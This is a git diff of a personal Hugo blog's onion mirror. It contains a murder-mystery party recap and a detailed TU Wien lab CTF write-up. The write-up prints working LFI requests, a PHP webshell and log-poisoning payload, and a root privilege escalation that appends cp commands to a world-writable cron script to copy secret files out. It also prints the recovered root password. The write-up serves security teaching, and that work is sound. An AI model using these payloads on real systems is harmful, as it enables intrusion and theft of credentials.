    I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

    +

    So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

    +

    Act I, the dinner

    +

    We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

    +

    The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

    +

    The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

    +

    She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

    +

    The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

    +

    Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

    +

    They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

    +

    While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

    +

    Act II, the invitations

    +

    Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

    +

    The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

    +

    The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

    +

    Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

    +

    Act III, the evidence

    +

    Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

    +

    There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

    +

    Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

    +

    Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

    +

    Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

    +

    The room went into silence again.

    +

    Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

    +

    In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

    +

    Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

    +

    Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

    +

    Aurora didn’t budge either.

    +

    Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

    +

    It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

    +

    Act IV, the confessions

    +

    The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

    +

    The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

    +

    Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

    +

    The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

    +

    Sergio did not smile, or any changes in his face. He was ice-cold.

    +

    It was still not clear who plotted to kill Salvatore. Everyone was confused.

    +

    It was time for deduction.

    +

    Act V, the killer(s)

    +

    After a long discussion between all the family members, these were the conclusions.

    +

    It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

    +

    Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

    +

    If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

    +

    Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

    +

    Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

    +

    It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

    +

    Sophia was just disappointed with all of this. She didn’t budge.

    +

    The epilogue

    +

    Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

    +

    Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
    +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
    +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
    +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
    +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
    +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
    +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
    +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
    +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
    +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
    +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
    +=3iUy
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md.asc
    +gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/crime-fiction/page/1/index.html b/public-onion/tags/crime-fiction/page/1/index.html new file mode 100644 index 0000000..c9df30a --- /dev/null +++ b/public-onion/tags/crime-fiction/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/crime-fiction/ + + + + + + diff --git a/public-onion/tags/ctf/index.html b/public-onion/tags/ctf/index.html new file mode 100644 index 0000000..e5c98d2 --- /dev/null +++ b/public-onion/tags/ctf/index.html @@ -0,0 +1,352 @@ + + + + + + + +Ctf | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job +

    +
    +
    +

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    +
    +
    June 5, 2026 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/ctf/index.xml b/public-onion/tags/ctf/index.xml new file mode 100644 index 0000000..10acce5 --- /dev/null +++ b/public-onion/tags/ctf/index.xml @@ -0,0 +1,379 @@ + + + + Ctf on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ctf/ + Recent content in Ctf on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 05 Jun 2026 12:00:00 +0000 + + + A TU Wien CTF where Sysops Klaus left the keys in the cron job + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. + +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/ctf/page/1/index.html b/public-onion/tags/ctf/page/1/index.html new file mode 100644 index 0000000..7520bd8 --- /dev/null +++ b/public-onion/tags/ctf/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ctf/ + + + + + + diff --git a/public-onion/tags/debugging/index.html b/public-onion/tags/debugging/index.html new file mode 100644 index 0000000..230182e --- /dev/null +++ b/public-onion/tags/debugging/index.html @@ -0,0 +1,403 @@ + + + + + + + +Debugging | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) +

    +
    +
    +

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    +
    +
    October 18, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Stealth Trojan VPN Behind Cloudflare Guide +

    +
    +
    +

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    +
    +
    September 9, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + Matrix, Signal but distributed +
    +
    +

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) +

    +
    +
    +

